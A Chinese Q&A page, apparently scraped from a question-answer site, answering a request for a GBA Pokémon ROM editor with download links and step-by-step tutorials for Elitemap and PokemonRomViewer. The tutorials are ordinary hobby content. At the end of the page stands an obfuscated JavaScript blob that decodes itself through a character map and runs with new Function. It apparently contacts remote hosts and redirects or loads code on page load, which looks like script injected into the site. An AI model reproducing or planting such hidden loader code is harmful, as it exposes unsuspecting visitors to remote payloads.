谁有GBA口袋妖怪修改器,要能修改地图,人物,精灵,最好能加剧情和保持人物MOD

2024-12-15 23:25:48
推荐回答(4个)
回答1:

有此种修改器,但是非普通人可以使用,需要HACK技术

下载地址:http://pokedigi.zj06.com/download/emchs.rar

Elitemap初级教程
pdf格式文件,下载用: http://nezardx.tripod.com/emtut.pdf
Elitemap初级教程
Elitemap是由国外的修改大师级人物Kyoufu Kawa制作的,和另一个相似的修改程序Advancemap一样,都是用于修改口袋宝石/火叶的地图的。它的3.7版还包括很多有用的其他工具程序。这篇教程主要是想给刚接触这个程序的朋友们作为一个简单的使用说明。感谢小巴达提供汉化的版本,但是ROM用的还是英文。因为Elitemap尽管经过汉化,对汉语文字的支持还是不敢恭维的。现在,我们开始…

第一部分,修改地图块

这是最基本的修改了,我们做的第一件事,当然是打开Elitemap:

点击那个”浏览ROM”就可以打开你想修改的游戏ROM了。打开之后是这个样子:

现在我们还是看不见地图的,因为我们还没说我们要看哪个地图。最上面的两个列表Bank和Level就是选择地图用的。这两个列表都是按照游戏里的结构来排列的,其中Bank可以理解为”文件夹”,Level则是文件夹里的地图文件。自己可以尝试着选不同的Bank和Level,看看会出现什么地图。不过事实上绝大多数城市和道路的主地图都在Bank 0里面。下面我们选择Bank 0, Level 1。出来的是…卡依市!

注意Level旁边的四位数字就是地图的序号。前两位是Bank号,后两位是Level号。如果觉得方便的话也可以直接在那里输入你想要的地图序号,不过注意是十六进制的。(…什么?想学修改还不知道十六进制咋回事?数学课睡觉去了吧~好好学学再回来)比如想找Bank 7, Level 2, 就输入0702,然后点一下空白处就可以了。

地图四周的上下左右箭头是可以把你领到那个方向过去的地图。比如点那个上箭头就可以到卡依市上面的那条路,点下箭头则可以到卡依市下面的那条水路。然后右下的”Dive”是潜水之后的地图,同样”Surface”是浮上来后的地图。具体怎么改这些方向后面会说。

现在看左边,那些貌似图片的东西就是地图块(Tile),一整个地图就是由它们构成的。--其实翻成”瓷砖”倒是更贴切,地图就像是拿这些瓷砖在墙上砌出来的~
地图块下面就是地图块的属性。这是做什么用的呢?举个例子,游戏里主角碰到墙壁的时候是不会穿墙术的,在碰到水的时候更不能”轻功水上漂”。所以在一个地图块是墙壁的时候必须把属性设成”墙壁”,或”禁止通行”。同样,有水的时候必须把属性设为”水”或”有冲浪才能过”。属性主要用到的有四个,0是空(出入口,门等),1是墙壁,4是水中,C是可以通行。注:还有D是”标志”,不过貌似真有标志的时候属性并不是D…天知道。

地图底下的”背景”指的是如果看见了地图区域外,比如这个地图最左边的还左边,那么游戏该显示什么(总不能空着吧)。所以如果背景是水,就是说地图边上像是有水围着一样。背景可以像地图一样修改(见下文)。

旁边的两个选项就不用我说了吧?再右边的框框里面就是鼠标所在的位置的信息。比如上图C就是那里的属性,1就是那里的地图块的编号,X和Y都是在那个地图上的坐标。

再右边的”左中右”指的是鼠标的左右键所对应的地图块和属性。拿左键点一下草地的地图块之后就可以在地图上画草地,再用左键点一下”可以通过”的地图块属性后就能画可以走的草地。(右键和中键都可以做同样的事。所以把左键设成草地,右键设成墙壁,中键设成水就会方便一些。)如果只想设置属性而不想更改地图的话就选中”只设定Attributes”好了。

说了这么些,其实还是举个例子能说服人。看好了…我们搞绿化,要铺设一大片草坪:

首先用鼠标左键点相应的地图块,草坪。

然后把属性设成可以通行:(注意还是用左键)

现在就可以搞破坏了!!

顺便展示一下修改”背景”的后果。现在看不出什么,一会就知道了:

点击保存以将地图写入ROM。好了,现在看看我们伟大的工程结果吧!注:刚才忘了加进入草坪的路了,现在补上…

绿化完毕!然后是背景的效果,注意左边。本来应该是水的,现在改成了草地。主要的地图未受影响:

很有成就感吧?好了,下面我们继续。

二部分,修改地图的其他参数

光改地图是没用的,在真正修改的时候修改地图上面的人物,物体,事件等等是必不可少的。这些事情Elitemap都能干。我们一点一点的来…
首先来改”地图头”(Header),这就像一个文件的”属性”一样记录着地图的基本属性。点击”地图头”按钮,画面切换到…小叽!!:

先暂时不管这个明显是Kawa恶搞的背景,我们来看这些选项:

1. 标签,也就是这个地图在大地图上面的位置和名称。每一个地图有着它对应的标签。可惜这里只有编号而没有名称…一会会进一步的讲这个。

2. 天气,不用我说了吧?119号道路上老下雨用的就是这个。(其实这个例子不好,119号路的天气没那么简单。不过你应该可以明白修改这个能达到的效果)注意,”下雪”这个天气是没用的。因为游戏会至多飘六七片雪,然后就和晴天一样了。不知是有意还是无意的Bug。不过除了它其他的天气都可以正常地使用。

3. 种类,城市还是道路还是室内(不能骑车),就在这里了。

4. 音乐,这个地图播出的是什么音乐,是流星瀑布流畅的音乐,还是和会馆首领作战时的进行曲,随你选择。要是问如果想修改音乐怎么办,那就用Kawa的另一个杰作—Sappy音乐修改器吧,这里暂时不说了。

5. 地图宽/高,如果觉得这个地图不够宽/不够高没法修改,改这个就行了。别忘了这里用的还是十六进制数字。

6. Show label on entry – 进入时显示名称,还记得每到一处地方屏幕左上角就会显示那里的名称么?如果这一项不选的话就不会显示这个名称了。 -- 我错了么?好像不管用啊。希望有知道的告诉我到底这是干什么用的。

7. Allow FLASH usage – 允许使用闪光。貌似在洞穴里才有用的说。

下面是实例:修改标签为09(原来是08) -- 这个是银叶市的标签。天气暴风雨(嘿嘿,就是海皇牙出现时的那种电闪雷鸣),种类为室内,音乐我在这里即使改了也听不到,自己试试吧。进入时不显示名称。

测试(必须走出这个地图然后再进来才有效)…刚刚还是大晴天现在怎么就下起暴雨了?…还打雷呢!然后…我什么时候跑到银叶(Mauville City)去了?我不是在卡依么?超时空隧道?!
÷
车也不能骑了,因为这是在”室内”嘛:

再看地图,果真到了银叶啊。真得有时空隧道!!!

修改成功!现在该看”部件”这一部分了:

首先是”标签”这一档。就是我们刚才改过的。建议大家不要碰这个,因为这个功能还不完善,尤其是如小巴达所说,如果在”标签”这一栏里输中文的话游戏非常容易挂掉。其他的地点,大小也都是有Bug的,看看就行了,不建议修改。

接着是”连接”这一档:

这个是管地图之间的互相连接的。(记得一开始地图周围那些箭头吧?)

上面的滑块是选择链接,在这里一共是3个。接下来的”连接处”就是连接的方向。”Offset”则是”偏移”,”偏置”一类的意思(可恨,我现在连中国话都不会说了)。总之是链接两边地图相对的错位,以格来计。(注意这里是十进制不是十六的。)具体的例子可以看118和119两条道路的接口,118号上的偏移值是40,就是说相对来说119号路的位置是从118号地图边上横着数(因为是朝北的连接)40格后的地方。119号上的偏移值是-40,也是同样的意思。然后”地图”,当然就是我们要连接到哪里去啦。”&H”不要管他,就是十六进制(Hexadecimal)的意思,然后四位数字就是地图的编号,也就是前两位是Bank,后两位是Level那些什么的。

然后旁边的”重设”嘛…暂时绝对不要碰它。(其实碰了也没事,按着Ctrl点才有用的说。)这个按键是干什么的呢?大家应该发现了如果觉得现有的3个链接不够用,想加新的的话,光用刚才那些功能是不够的。不过说一句大家可能听过的话,在ROM修改里,改数据容易,添数据难。所以这玩意并不好使,搞不好就会让游戏崩溃。具体的用法嘛…等我先搞会了再说,嘿嘿。

我们现在来试验一下:我们要从卡依市(现已正式更名银叶市)往上直接走到119号道路。

这个入口是在左边第17 (11h=17d)格。所以偏移应该设成17-16=1(在一个地图上是正的,另一个是负的)。并且把两边的目标地图都改一下:

两个都设好了,现在试试。接口处肯定有点粗糙,这只是演示用的。真正的改版一定要比这个好才行:(正在打雷呢)

精灵的修改:
可以自由更改ROM数据,
PokemonRomViewer(以下简称RV)是一款由Fuzzier开发,针对口袋妖怪DIY所制作的软件,面向的是对口袋妖怪游戏系统有初步了解的玩家。它可以实现对PM基本属性和道具属性的初步修改,在修改的过程中让玩家体会修改的乐趣。本教程本着实用的原则,希望广大玩家能根据本教程对RV的功能有深入的了解,为使用RV提供参考和方便。
下面,开始进入正题。
1、开始使用RV
双击打开PokemonRomViewer.exe,如果是初次使用RV的玩家,需要对RV的各项数据进行设置。

其中包括语言(推荐使用中文)、编号(推荐使用10进制)、ROM文件的路径。ver1.4仅支持日文、英文、中文版的宝石和火叶,对最新的DP并不支持。
设置好路径后,按下确定,现在就可以开始修改游戏了。进入RV后,可以看到其相当简单的界面。
中间几个黑体字是修改器的快捷方式,也可以在“视图”菜单下进行选择。最左边的矩形图案是设置的快捷方式。左下角是对应的说明。
2、修改种族
单击“种”打开种族窗口,可以看到上半部分都是以缩略图形式表示的PM。单击某个缩略图可以打开对应的PM数据。
“与进化窗口同步”相当于是将图鉴光标置0。右边的单选栏可以选择图鉴的排列方式。
窗口的下半部分,是具体属性修改的标签栏。下面将具体说明。
1)类型修改
可以看到,每一种PM对应的属性和生蛋组都有2种。如果要修改的PM只有一种属性,可以把2种属性选为相同。如果要修改的PM有两种属性,请注意第一属性和第二属性的区别,对号入座。
同理,生蛋组也是一样。若只有一种生蛋组别,选择相同的生蛋组即可;若有两种,也要注意顺序。
2)能力修改
这里可以修改PM的种族值和努力值获得。可以依据现有的资料进行修改。
3)特性修改
捕获度:是指一只PM被捕获难以程度。从0-255。0为最难捕获,255为最容易捕获。如果要设置神兽,一般设置为3即可。
初始亲密度:一旦被捕获后,刚开始被装在球里的亲密度。255为最大。
逃亡度:在战斗中逃跑的几率。请注意,这里的逃跑并非指捕捉过程中的逃跑,而是指普通战斗中作为我方PM逃跑的几率。0为基本值,255为肯定可以逃跑,一般这个数值不超过10。
基础经验值:击倒该PM后,经验值按照一定的公式计算。基础经验值越高,获得的经验也相对越多。
性别比率:按照8位2进制数表示一定的性别比率,具体如下。
性别比率-雄性:雌性
0-全为雄性
31-7:1
63-3:1
127-1:1
191-1:3
254-全为雌性
255-无性别
经验值类型:PM升到LV100所需的全部经验值。具体的数值类型都已在下拉菜单中很详细地说明。
孵蛋时间:也就是将PM的蛋带在身上直到孵出所需要的步数。依然是根据8位2进制数表示对应的步数。其中,每增加5,孵蛋步数增加1280。下面列出常见的孵蛋步数。
孵蛋步数 孵蛋时间
30720 120
20480 80
10240 40
8960 35
7680 30
6400 25
5120 20
3840 15
2560 10
1280 5
未知(8bits):目前此项数值的意义未知。依笔者看来可能和PM的ID有关。
特性:顾名思义,就是指PM的特性。依据GBA版本中的77种特性而设计。仅有一种特性的PM只要在特性1中选择即可。
4)道具
这里的“道具”,是指抓获野生PM后身上所携带某种道具的情况。其中,携带道具1有50%的可能性,携带道具2有5%可能性。两种携带道具相同时则意味着必定携带。在标签页面的右边可以看到对应道具功能的说明。
5)升级技
可以对PM升级后所能学习的招式进行修改。下面将详细说明修改方法。
注意,RV只能依据现有的技能数目来修改技能,也就是说,一只PM原先能学多少招式,修改后还是只能学这么多的招式。不能添加技能数量,也不能减少技能数量。
双击左边的技能列表,打开技能窗口。GBA版本所有的PM技能都在其中详细列出。选定想要让PM学习的技能后,切换回种族窗口,单击所要替换的技能,再单击“从技能窗口”,可以看到下方的下拉菜单已经把技能的名称列出。再在下方的“等级”文本框输入数值,指定PM在某一等级学习该技能。单击“更改”,一项技能修改即告完成。若想修改整只PM的技能学习情况,还必须一项项地修改。RV并不支持快捷键操作。
另外,选定修改的技能的时候,也可以从“技能”的下拉菜单中选定。不过这样耗费的时间会相对多些。
注:这里提示一下搜索技能的方法。若对要修改技能比较熟悉,可以根据技能的各项数值搜索,比方说草系技能,可以在技能窗口的排列方式中单击“属性”,按技能属性排列,方便搜索。又如,技能的PP为5,可以单击排列方式“PP”,按PP值排列。
6)遗传技
与“升级技”的修改同理,遗传技的修改也可以遵循相同的方法。同时,遗传技也不能添加或减少学习的技能数量,这点需要注意。
7)技能机器
这里按照GBA版本所有的技能机器顺序列出了PM所能学习的技能机器情况。默认按照已选的技能机器排列,可以在右边的单选框中选择“机器序”,按照技能机器顺序排列。如果想统一修改一只PM的技能机器学习情况,可以单击“清除全部”,重新选择。
种族窗口的修改结束后,单击“写入”保存即可。
3、修改进化方式
RV可以在GBA版本全图鉴范围内指定PM的进化方式和方向。在RV主菜单窗口中单击“进”,打开进化窗口。与种族修改的浏览方式相同,进化窗口的浏览也可以按照图鉴类别改编排列顺序。与种族修改不同的地方在于,增加“回到进化祖先”,可以方便地在进化形态和退化形态的PM之间进行跳跃式浏览,也可以检查 PM的进化情况。下面具体介绍修改方法。
选定单只PM,可以看到下方总共列出了5种进化分支条件。可以在下拉菜单中选择不同的分支条件。条件的说明都很直白明了。若是“升级”,选定后会要求输入升级进化的最低等级;若是“道具”,会要求在新的下拉菜单中选择对应的进化道具,一般是要求PM携带该道具进化。
选定一种进化方式后,可以在同一行右边的下拉菜单中选择进化对象,一样是按照图鉴顺序排列的下菜单。
修改完成后,点击“写入”保存即可。
4、道具修改
在RV主菜单窗口单击“物”,可以打开道具窗口。在这里可以修改游戏中道具的购入价格。如果是0则表示不能在游戏中购买到,或者不能在游戏中卖出。这里的修改比较简单,完成后同样单击“写入”保存。
5、树果修改
单击“果”,可以打开树果修改窗口。GBA版本一共有43种树果,每一种树果的各项属性都不同,这里可以修改树果的各项外观和生长数值。
6、技能修改
RV的另一大功能,就是可以修改游戏中技能的效果。请注意,这里单纯是效果,技能的动画并不能在RV中修改。技能的数值包括对象、属性、附加效果、威力、命中率等等。
单击“技”,打开技能修改窗口。这里列出了GBA版本所有的技能情况。“对象”一栏表示了技能的作用对象;“属性”一栏表示该技能的对应属性;威力、 PP、命中率、优先度、效果几率采取文本框输入方式,很直观。唯独“效果(Hex)”采用的是16进制表示方法,下面着重介绍。
根据GBA版本中现有技能效果,将技能分成许多的种类。RV的技能修改并不能在现有的技能效果上追加新的技能,只能在现有的种类基础上变换。
遗憾的是,RV无法对水底的出现方式进行编辑。
接下来,下方的出现情况可以编辑出现几率。
陆上:露天情况下,出现几率是指玩家在草丛中移动时遇到PM的几率;山洞中是指在地图上移动时遇到PM的几率。
水上:在水上(池塘、海)移动时遇敌的几率。
碎岩:对着挡道的小块岩石使用“碎岩”时,出现PM的几率。
垂钓:从窗口中可以看出,中间用分隔线标识不同钓竿能钓到的PM情况。
除此之外,还可以编辑PM出现的等级。但是,出现的几率是固定数值,无法修改。

回答2:

想吧。。

回答3:

你讲的是魔兽争霸么。。。。估计没有。

回答4:

您这也,太犀利了吧,有那么厉害的修改器,口袋妖怪公司倒闭不是更好吗

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();